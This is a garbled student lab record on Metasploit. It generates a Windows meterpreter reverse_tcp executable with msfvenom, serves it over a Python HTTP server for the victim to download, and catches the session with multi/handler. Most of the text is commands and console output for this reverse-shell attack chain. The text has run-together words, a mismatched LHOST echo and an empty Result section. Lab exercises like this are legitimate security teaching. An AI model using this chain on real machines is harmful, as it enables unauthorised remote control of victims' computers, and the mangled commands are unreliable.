Exp.No.: 13 **Date:**

METASPLOIT

Aim: TosetuptheMetasploitframeworkandexploitreverse_tcpinaWindows8 machine remotely.

Algorithm:

1. Generatepayloadtobeinsertedintotheremotemachine
2. SettheLHOSTandit’sportnumber
3. Openmsfconsole.
4. Useexploit/multi/handler
5. Establishreverse_tcpwiththeremotewindows8machine.
6. RunSimpleHTTPServerwithportnumber8000.
7. OpenthewebbrowserinWindows8machineandtypehttp://172.16.8.155:8000
8. InKaliLinux,typesysinfotogettheinformationaboutWindows8machine
9. Createanewdirectoryusingmkdircommand.
10. Deletethecreateddirectory.

Output:

```
root@kali:~# msfvenom -p
windows/meterpreter/reverse_tcpLHOST=172.16.8.155
LPORT=443-fexe>/root/hi.exe
[-]Noplatformwasselected,choosingMsf::Module::Platform::Windowsfromthe
payload [-] No arch selected, selecting arch: x86 from the payload
Noencoderorbadcharsspecified,outputtingrawpayloadPayloadsize:341bytes Final size
of exe file: 73802 bytes root@kali:~# msfconsole
[-]***RtingtheMetasploitFrameworkconsole...\
[-]*WARNING:Nodatabasesupport:couldnotconnecttoserver:Connection refused Is
the server running on host "localhost" (::1) and accepting
TCP/IPconnectionsonport5432?couldnotconnecttoserver:Connectionrefused Is the
server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on
port 5432?

[-]***
```

```
_        _
/\        /\        _         /_/

||\/ |     \\                         || /\ _\ \
|| \/|| |            \|--|    /\          /   \|-/ ||| ||| ||--|
|_|| || _|           ||_/ -\     \ \  ||          || \/|| ||_
|/|        / \       \/\/\\\/\/          \  |      |_\\     \

=[metasploitv5.0.41-dev            ]
+-----=[1914exploits-1074auxiliary-330post]
+----=[556payloads-45encoders-10nops                  ]
+-----=[4evasion]

msf5>use exploit/multi/handler
msf5exploit(multi/handler)>setpayloadwindows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp msf5
exploit(multi/handler)>showoptionsModuleoptions
(exploit/multi/handler):
NameCurrentSettingRequiredDescription


Payloadoptions(windows/meterpreter/reverse_tcp):NameCurrentSetting
Required Description

EXITFUNC process                 yes     Exittechnique(Accepted:'',seh,thread,
process, none) LHOST     yes             The listen address (an interface may be
specified)
LPORT         4444 yes      Thelistenport

Exploittarget:
Id Name

0WildcardTarget
```

```
msf5exploit(multi/handler)>setLHOST172.16.8.155LHOST=>172.16.8.156 msf5
exploit(multi/handler) > set LPORT 443 LPORT => 443 msf5
exploit(multi/handler) > exploit

[*]StartedreverseTCPhandleron172.16.8.155:443
```

Result: